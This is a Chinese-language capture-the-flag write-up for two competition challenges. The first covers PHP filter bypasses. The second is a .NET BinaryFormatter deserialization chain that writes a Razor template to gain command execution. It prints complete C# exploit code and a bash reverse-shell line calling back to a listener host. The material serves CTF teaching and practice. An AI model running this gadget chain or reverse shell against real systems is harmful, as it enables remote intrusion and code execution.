春秋杯冬季赛ezphp、.net题ezdotnet题目解析

admin 2023年1月7日15:53:22评论56 views字数 7069阅读23分33秒阅读模式

ezphp

春秋杯冬季赛ezphp、.net题ezdotnet题目解析

原定是出一个简单题目,考察php高版本的一个特性。看完选手的writeup后,发现解法还蛮多的,题目的限制少了。

题目内容分析

题目显示了源码,get获取的num值长度小于5,不能包含111和0字符串

春秋杯冬季赛ezphp、.net题ezdotnet题目解析

解法一:乘法

111可以通过 37*3得到

春秋杯冬季赛ezphp、.net题ezdotnet题目解析


解法二:运算优先级

php语法解析中的运算优先级,查看php的语法解析可以发现,&,^,|,&&,||的优先级是低于 === 的运算表达式的

https://github.com/php/php-langspec/blob/master/spec/19-grammar.md#grammar-equality-expression

春秋杯冬季赛ezphp、.net题ezdotnet题目解析

例如:

111===1||1
//由于 === 的优先级高于 || ,php会选进行判断111===1是否成立,然后再和1做计算
111===1|1
111===1^1

春秋杯冬季赛ezphp、.net题ezdotnet题目解析


解法三:下划线

从 PHP 7.4.0 开始,整型数值可能会包含下划线 _

https://www.php.net/manual/zh/language.types.integer.php

春秋杯冬季赛ezphp、.net题ezdotnet题目解析

所以 111===1_11就是成立的

ezdotnet

春秋杯冬季赛ezphp、.net题ezdotnet题目解析

题目内容分析

打开附件后,发现是提供了dockerfile的,dockerfile里面的基础镜像是 mcr.microsoft.com/dotnet/aspnet:6.0,并且发现 cat 命令是加了suid的,查看start.sh里面发现flag的权限是700(所以需要配合cat命令进行读取,这里可以知道最后达到的效果肯定是能命令执行),服务的启动是调用的 WebApplication1.dll 文件

春秋杯冬季赛ezphp、.net题ezdotnet题目解析


春秋杯冬季赛ezphp、.net题ezdotnet题目解析

反汇编

可以使用dnspy或者rider的反汇编

春秋杯冬季赛ezphp、.net题ezdotnet题目解析

rider就通过添加dll文件后打开内容即可,就代码格式来说,还是dnspy的好看

春秋杯冬季赛ezphp、.net题ezdotnet题目解析


春秋杯冬季赛ezphp、.net题ezdotnet题目解析

代码审计

登录

挨着看看路由后发现几个关键的地方,第一个就是登录的地方,密码是硬编码比较,所以我们可以通过密码XNN0504(小楠楠的生日),用户名任意,即可成功登录

春秋杯冬季赛ezphp、.net题ezdotnet题目解析


春秋杯冬季赛ezphp、.net题ezdotnet题目解析

反序列化

/api/UserLoad 处发现存在反序列化点

春秋杯冬季赛ezphp、.net题ezdotnet题目解析

入口点

那么反序列化入口在哪里呢?我们可以看到正常登录流程里面有个 ComparerData 的类,跟进去一看就发现了Gadget 的提示类

春秋杯冬季赛ezphp、.net题ezdotnet题目解析


春秋杯冬季赛ezphp、.net题ezdotnet题目解析

然后就是.NET反序列化的一些特点,这里借用一下Y4er大佬的博文截图,原链接为 https://github.com/Y4er/dotnet-deserialization/blob/main/dotnet-serialize-101.md

春秋杯冬季赛ezphp、.net题ezdotnet题目解析

然后继续看看Gadget类,这里主要是判断key是否相等,相等就会调用到 Compare 函数,所以目标是先想办法获取到key

春秋杯冬季赛ezphp、.net题ezdotnet题目解析

key获取

跟进这个成员发现,改成员是静态的随机key,如果在程序启动后对应的泛型一致的key是一样的,例如 ComparerData<string>.key每次得到的都一样,刚好在登录的地方是获取的string类型的key,所以我们成功登录后就能获取到string类型的key值

春秋杯冬季赛ezphp、.net题ezdotnet题目解析

/api/UserExport的地方能获取到序列化的数据,所以我们就可以通过这里获取到key

春秋杯冬季赛ezphp、.net题ezdotnet题目解析

登录后,访问/api/UserExport

春秋杯冬季赛ezphp、.net题ezdotnet题目解析


春秋杯冬季赛ezphp、.net题ezdotnet题目解析

利用点分析

然后来看看 ComparerData 类,可以发现public int Compare(T x, T y)里面存在反射和委托 (这个在ysoserial链子里面是比较常见的) 的结合,反射这里是获取的公共的,静态的,并且可以传递两个参数,且类型是字符串 的函数,委托那里限制了只能是没有返回类型的函数

https://github.com/pwntester/ysoserial.net

春秋杯冬季赛ezphp、.net题ezdotnet题目解析

在程序的启动处有个很关键的点,题目开启了反序列化时允许写文件

春秋杯冬季赛ezphp、.net题ezdotnet题目解析

然后翻翻C# 的官方文档,找到了 WriteAllText 的函数,所以我们就可以利用  WriteAllText 写文件

https://learn.microsoft.com/en-us/dotnet/api/system.io.file?view=net-6.0

https://learn.microsoft.com/en-us/dotnet/api/system.io.file.writealltext?view=net-6.0#system-io-file-writealltext(system-string-system-string)

春秋杯冬季赛ezphp、.net题ezdotnet题目解析

gadget构造

给对象的成员赋值,可以构造一个如下函数

static void setField(Object o,string name,Object value)  
{  
    Type type = o.GetType();  
    type.GetField(name,(BindingFlags)System.Enum.ToObject(typeof(BindingFlags), 0xfffffff)).SetValue(o,value);  
}

反射相关的知识参考官方文档

https://learn.microsoft.com/en-us/dotnet/api/system.type?view=net-6.0

构造文件写入的反序列化代码如下

using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using WebLibClass;


static void setField(Object o,string name,Object value)  
{  
    Type type = o.GetType();  
    type.GetField(name,(BindingFlags)System.Enum.ToObject(typeof(BindingFlags), 0xfffffff)).SetValue(o,value);  
}
AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowFileWrites"true);

Assembly assembly = Assembly.Load(File.ReadAllBytes("WebLibClass.dll"));  
Type type1 = assembly.GetType("WebLibClass.ComparerData`1+ClassMethod[[System.String, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]]");

Console.WriteLine(type1);
Object o = Activator.CreateInstance(type1,null);
setField(o,"Classname","System.IO.File");
setField(o,"Methodname","WriteAllText");
Type type2 = assembly.GetType("WebLibClass.ComparerData`1[[System.String, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]]");
IComparer<string> cp = (IComparer<string>)Activator.CreateInstance(type2,null);;
setField(cp,"c",o);
setField(cp,"isVoid",true);    
Console.WriteLine(type1);
            
BinaryFormatter soapFormatter = new BinaryFormatter();
using (MemoryStream stream = new MemoryStream())
{
    Gadget<string> g = new Gadget<string>(cp, "/tmp/aaa""aaaaa");
                
    setField(g,"key","12af384cdc7343258c4cb44b10feaa13");//key获取部分得到的key
    soapFormatter.Serialize(stream,g);

    Console.Write(Convert.ToBase64String(stream.ToArray()));

    stream.Position = 0;
    stream.Close();
}

模板注入

可以看到 /admin 路由没有访问过,但是存在模板渲染的操作,所以我们可以结合上面的反序列化到文件写入,然后到模板渲染利用,这里的模板注入也需要通过反射来获取到 Process 后命令执行,需要注意的是 Process.Start 有多个重载函数

https://learn.microsoft.com/en-us/aspnet/core/mvc/views/razor?view=aspnetcore-6.0

https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.process.start?view=net-6.0

春秋杯冬季赛ezphp、.net题ezdotnet题目解析

@{ 
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load("System.Diagnostics.Process, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
Type type = assembly.GetType("System.Diagnostics.Process");
System.Reflection.MethodInfo method = type.GetMethod("Start",System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.Public,new Type[]{typeof(string),typeof(System.Collections.Generic.IEnumerable<string>)});
Object obj = assembly.CreateInstance("System.Diagnostics.Process");
Object s = (Object)method.Invoke(obj,new object[]{"/bin/bash",new string[]{"-c","bash -i >& /dev/tcp/172.17.0.1/2333 0>&1"}});
WriteLiteral(s.ToString());
}

完整poc利用

using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using WebLibClass;


static void setField(Object o,string name,Object value)  
{  
    Type type = o.GetType();  
    type.GetField(name,(BindingFlags)System.Enum.ToObject(typeof(BindingFlags), 0xfffffff)).SetValue(o,value);  
}
AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowFileWrites"true);

Assembly assembly = Assembly.Load(File.ReadAllBytes("WebLibClass.dll"));  
Type type1 = assembly.GetType("WebLibClass.ComparerData`1+ClassMethod[[System.String, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]]");

Object o = Activator.CreateInstance(type1,null);
setField(o,"Classname","System.IO.File");
setField(o,"Methodname","WriteAllText");
Type type2 = assembly.GetType("WebLibClass.ComparerData`1[[System.String, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]]");
IComparer<string> cp = (IComparer<string>)Activator.CreateInstance(type2,null);;
setField(cp,"c",o);
setField(cp,"isVoid",true);    
            
BinaryFormatter soapFormatter = new BinaryFormatter();
using (MemoryStream stream = new MemoryStream())
{
    Gadget<string> g = new Gadget<string>(cp, "/app/static/error.html""@{ System.Reflection.Assembly assembly = System.Reflection.Assembly.Load("System.Diagnostics.Process, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");nType type = assembly.GetType("System.Diagnostics.Process");nSystem.Reflection.MethodInfo method = type.GetMethod("Start",System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.Public,new Type[]{typeof(string),typeof(System.Collections.Generic.IEnumerable<string>)});nObject obj = assembly.CreateInstance("System.Diagnostics.Process");nObject s = (Object)method.Invoke(obj,new object[]{"/bin/bash",new string[]{"-c","bash -i >& /dev/tcp/172.17.0.1/2333 0>&1"}});nWriteLiteral(s.ToString());n}");
                
    setField(g,"key","12af384cdc7343258c4cb44b10feaa13");
    soapFormatter.Serialize(stream,g);

    Console.Write(Convert.ToBase64String(stream.ToArray()));

    stream.Position = 0;
    stream.Close();
}

触发反序列化

春秋杯冬季赛ezphp、.net题ezdotnet题目解析

vps监听端口

春秋杯冬季赛ezphp、.net题ezdotnet题目解析

触发模板注入

春秋杯冬季赛ezphp、.net题ezdotnet题目解析

得到flag

春秋杯冬季赛ezphp、.net题ezdotnet题目解析

+ + + + + + + + + + + 


《ezphp》、《ezdotnet》可在CTF大本营中进行挑战:

https://www.ichunqiu.com/battalion


春秋GAME伽玛实验室

会定期分享赛题赛制设计、解题思路……

如果你日常有一些技术研究和好的设计思路

或在赛后对某道题有另辟蹊径的想法

欢迎找到春秋GAME投稿哦~

联系vx:cium0309

欢迎加入 春秋GAME CTF交流2群

Q群:703460426

春秋杯冬季赛ezphp、.net题ezdotnet题目解析


春秋杯冬季赛ezphp、.net题ezdotnet题目解析

原文始发于微信公众号(春秋伽玛):春秋杯冬季赛ezphp、.net题ezdotnet题目解析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月7日15:53:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   春秋杯冬季赛ezphp、.net题ezdotnet题目解析https://cn-sec.com/archives/1496300.html

发表评论

匿名网友 填写信息